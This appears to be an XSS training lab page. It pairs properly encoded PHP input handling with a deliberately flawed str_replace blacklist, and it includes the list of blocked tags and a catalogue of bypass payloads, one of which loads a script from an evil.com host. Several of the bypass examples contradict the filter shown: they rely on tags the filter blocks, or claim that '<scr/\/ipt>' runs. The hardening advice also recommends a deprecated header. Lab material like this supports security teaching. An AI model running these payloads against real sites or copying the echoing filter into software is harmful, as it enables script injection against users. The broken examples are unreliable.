XSS Labs

Multiple XSS Challenges with Different Filtering Methods

Multiple Challenge Interface

Lab Overview

This interface contains two different XSS challenges with different filtering approaches:

Challenge 1: Basic HTML encoding using htmlspecialchars() for both first name and last name parameters.
Challenge 2: String replacement filter for the 'project' parameter that removes various script tag variations and other HTML tags, replacing them with '/\/'.
Challenge 2 Filter: Blocks case variations of 'script' plus 'img', 'image', 'svg', 'audio', 'video', 'body'
Blocked tags:
script
Script
sCript
scRipt
scrIpt
scriPt
scripT
SCript
SCRipt
SCRIpt
SCRIPt
img
image
svg
audio
video
body
Filter method: str_replace(array('script','Script',...,'body'), '/\/', $_GET['project'])
Filter Complexity: Tag Filtering with Case Variations

Objective: Test different XSS payloads against both filtering methods to understand their effectiveness.

Note: The 'project' parameter filter replaces blocked strings with '/\/' instead of removing them entirely.

Backend Source Code
if(isset($_GET["fname"]) && isset($_GET["lname"])){
    echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
    echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["project"])){
    $arr = array('script','Script','sCript','scRipt','scrIpt','scriPt','scripT','SCript','SCRipt','SCRIpt','SCRIPt',
    'img','image','svg','audio','video','body');
    $re = str_replace($arr, '/\/', $_GET['project']);
    echo $re;
}
Test Input Forms
Challenge 1: HTML Encoding
This field uses htmlspecialchars() encoding
This field uses htmlspecialchars() encoding

Challenge 2: String Replacement Filter
This field uses str_replace() filtering (replaces blocked strings with '/\/')
XSS Bypass Techniques for Challenge 2
  • Case variation: Try ScRiPt or other mixed case variations not in the filter
  • Nested tags: Use <scr<script>ipt> to bypass simple filters
  • Alternative tags: Use <object>, <embed>, <iframe> instead of script tags
  • Event handlers: Use <img src=x onerror=alert(1)> or other event-based XSS
  • JavaScript protocol: Use <a href="javascript:alert(1)">click</a>
  • SVG vectors: Use <svg onload=alert(1)> if svg is not filtered
  • Encoding: Use HTML entities, URL encoding, or Unicode escapes
  • String concatenation: Build the script tag dynamically: <scr"+"ipt>
  • Replacement bypass: Since blocked strings are replaced with '/\/', try payloads that become valid after replacement
Security Implications

Comparing the two filtering approaches:

  • HTML Encoding (Challenge 1): Properly implemented with htmlspecialchars() and ENT_QUOTES flag
  • String Replacement (Challenge 2): Incomplete filtering that can be bypassed with creative techniques
  • Replacement with '/\/' creates new attack vectors - blocked strings become '/\/' which might be used creatively
  • Blacklist approaches are always vulnerable to bypass techniques
  • Context-aware output encoding is the only reliable defense
  • Filtering should happen at the output stage, not input stage
Best Practices

For production-grade XSS prevention:

  • Always use context-aware output encoding
  • Implement strict Content Security Policy (CSP) headers
  • Validate input using strict whitelists, not blacklists
  • Use modern sanitization libraries (DOMPurify, etc.)
  • Implement Trusted Types for DOM XSS protection
  • Use security headers: X-XSS-Protection, X-Content-Type-Options
  • Conduct regular security testing and code reviews
  • Avoid string replacement filters for security controls
Advanced Bypass Examples
Case Variation Bypasses:
  • <ScRiPt>alert(1)</ScRiPt> - Mixed case
  • <SCRIPT SRC="http://evil.com/xss.js"></SCRIPT> - Uppercase
  • <scrscriptipt>alert(1)</scrscriptipt> - Nested tags
Alternative Tag Vectors:
  • <img src=x onerror=alert(1)> - Image error handler
  • <body onload=alert(1)> - Body load event
  • <svg onload=alert(1)> - SVG load event
  • <iframe src="javascript:alert(1)"> - Iframe with JS protocol
Replacement Filter Exploitation:
  • <scr/\/ipt>alert(1)</scr/\/ipt> - Using the replacement pattern
  • <scr/\/ipt src="data:text/javascript,alert(1)"></scr/\/ipt> - Data URI
  • Try payloads where '/\/' becomes part of valid syntax after replacement